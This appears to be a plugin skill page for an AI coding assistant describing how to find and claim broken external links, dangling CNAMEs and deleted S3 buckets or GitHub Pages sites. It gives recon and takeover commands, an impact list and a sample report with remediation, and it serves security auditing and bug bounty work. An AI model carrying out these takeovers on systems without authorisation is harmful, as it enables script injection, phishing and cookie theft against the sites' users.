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From cybersec-toolkit
Discovers and exploits broken link hijacking vulnerabilities by identifying expired domains, decommissioned cloud resources, and dead external services that can be claimed by an attacker.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersec-toolkit:exploiting-broken-link-hijackingThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
- When auditing web applications for references to expired or unclaimed external resources
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
# Use broken-link-checker to find dead links
npx broken-link-checker http://target.com --recursive --ordered \
--exclude-internal --filter-level 3 -o broken_links.txt
# Extract all external links from page source
curl -s http://target.com | grep -oP 'https?://[^"'"'"'\s>]+' | sort -u > all_links.txt
# Extract JavaScript sources
curl -s http://target.com | grep -oP 'src="[^"]*"' | grep -v target.com > external_scripts.txt
# Extract CSS references
curl -s http://target.com | grep -oP 'href="[^"]*\.css"' | grep -v target.com > external_css.txt
# Use wayback machine for historical external references
curl -s "https://web.archive.org/web/timemap/link/http://target.com" | \
grep -oP 'https?://[^>]+' | sort -u > historical_links.txt
# Spider with Burp Suite
# Configure Spider scope to include target.com
# Review Site Map > Filter by "External" to list all external references
# Check if external domains are registered
for domain in $(cat external_domains.txt); do
whois $domain 2>/dev/null | grep -qi "no match\|not found\|available" && \
echo "[CLAIMABLE] $domain"
done
# Check HTTP status of external links
while read url; do
status=$(curl -o /dev/null -s -w "%{http_code}" "$url" --max-time 5)
if [ "$status" = "000" ] || [ "$status" = "404" ]; then
echo "[DEAD] $url (Status: $status)"
fi
done < all_links.txt
# Check for dangling CNAME records
for sub in $(cat subdomains.txt); do
cname=$(dig +short CNAME $sub)
if [ -n "$cname" ]; then
resolved=$(dig +short $cname)
if [ -z "$resolved" ]; then
echo "[DANGLING] $sub -> $cname (UNRESOLVED)"
fi
fi
done
# Check cloud resource availability
# AWS S3 bucket
aws s3 ls s3://target-assets 2>&1 | grep -q "NoSuchBucket" && echo "[CLAIMABLE] S3: target-assets"
# Check GitHub Pages takeover
# If CNAME points to <user>.github.io and 404 is returned
curl -s https://subdomain.target.com | grep -q "There isn't a GitHub Pages site here"
# Check AWS S3 takeover
curl -s http://subdomain.target.com | grep -q "NoSuchBucket"
# Check Azure Blob Storage
curl -s http://subdomain.target.com | grep -q "The specified container does not exist"
# Check Heroku
curl -s http://subdomain.target.com | grep -q "No such app"
# Check Shopify
curl -s http://subdomain.target.com | grep -q "Sorry, this shop is currently unavailable"
# Use subjack for automated takeover detection
subjack -w subdomains.txt -c fingerprints.json -t 100 -o takeover_candidates.txt
# Use nuclei takeover templates
subfinder -d target.com -silent | nuclei -t http/takeovers/ -o takeovers.txt
# Check if external JavaScript domains are available for registration
curl -s http://target.com | grep -oP 'src="https?://([^/"]+)' | \
cut -d'/' -f3 | sort -u | while read domain; do
whois "$domain" 2>/dev/null | grep -qi "no match\|available" && \
echo "[HIJACKABLE SCRIPT] $domain loaded by target.com"
done
# Check npm/CDN package references
curl -s http://target.com | grep -oP 'unpkg\.com/[^@/]+' | sort -u
curl -s http://target.com | grep -oP 'cdn\.jsdelivr\.net/npm/[^@/]+' | sort -u
# Verify if referenced packages still exist
# Check npm registry for deprecated or removed packages
# For expired domain: Register the domain
# For S3 bucket: Create bucket with same name in same region
aws s3 mb s3://target-expired-bucket --region us-east-1
# For GitHub Pages: Create repository with matching name
# Create <org>.github.io repository with proof-of-concept content
# For unclaimed social media: Claim the handle
# Document the takeover with benign proof-of-concept content
# Serve proof-of-concept content
echo "<html><body><h1>Broken Link Hijacking PoC - [Your Name]</h1></body></html>" > index.html
# Upload to claimed resource
# Determine impact based on resource type:
# - External JavaScript: Full XSS on all pages loading the script
# - External CSS: UI defacement, data exfiltration via CSS injection
# - External image/resource: Phishing, tracking
# - CNAME subdomain: Cookie theft, phishing, OAuth bypass
# Check if hijacked resource serves cookies for parent domain
# Check if hijacked subdomain is in OAuth redirect whitelist
# Verify if hijacked domain receives sensitive Referer headers
| Concept | Description |
|---|---|
| Broken Link Hijacking | Claiming control of external resources referenced by target website |
| Dangling CNAME | DNS CNAME record pointing to unclaimed or decommissioned service |
| Subdomain Takeover | Claiming a subdomain by provisioning the service its CNAME points to |
| External Script Hijacking | Registering expired domains that serve JavaScript loaded by target |
| Supply Chain Attack | Compromising external dependencies to inject malicious content |
| Dead Link | URL reference returning 404 or DNS resolution failure |
| Resource Fingerprinting | Identifying specific cloud services from error messages and headers |
| Tool | Purpose |
|---|---|
| broken-link-checker | Automated broken link discovery via web crawling |
| subjack | Subdomain takeover detection tool |
| nuclei | Template-based takeover detection scanner |
| can-i-take-over-xyz | Community database of services vulnerable to takeover |
| BadDNS | DNS auditing tool for detecting domain/subdomain takeovers |
| Wayback Machine | Historical URL analysis for discovering past external references |
## Broken Link Hijacking Report
- **Target**: http://target.com
- **Total External Links**: 145
- **Dead Links**: 12
- **Hijackable Resources**: 3
### Findings
| # | Resource | Type | Status | Impact |
|---|----------|------|--------|--------|
| 1 | analytics.expired-domain.com | JavaScript | Domain available | Full XSS |
| 2 | assets.target.com -> S3 bucket | Static assets | Bucket deleted | Content injection |
| 3 | blog.target.com -> GitHub Pages | Subdomain | No GitHub repo | Subdomain takeover |
### Remediation
- Remove references to decommissioned external resources
- Delete dangling CNAME records for unused subdomains
- Implement Subresource Integrity (SRI) for external scripts
- Regularly audit external dependencies for availability
- Use Content Security Policy to restrict allowed script sources
npx claudepluginhub 26zl/cybersec-toolkit --plugin cybersec-toolkitDiscovers and exploits broken link hijacking vulnerabilities by identifying expired domains, decommissioned cloud resources, and dead external services that can be claimed by an attacker.
Discovers and exploits broken link hijacking vulnerabilities by identifying expired domains, decommissioned cloud resources, and dead external services. For web app audits, supply chain assessments, and bug bounties.
Identifies broken link hijacking vulnerabilities by crawling web apps for references to expired domains, dangling CNAMEs, dead cloud resources (AWS S3, GitHub Pages), and subdomain takeovers. Useful for security audits and bug bounties.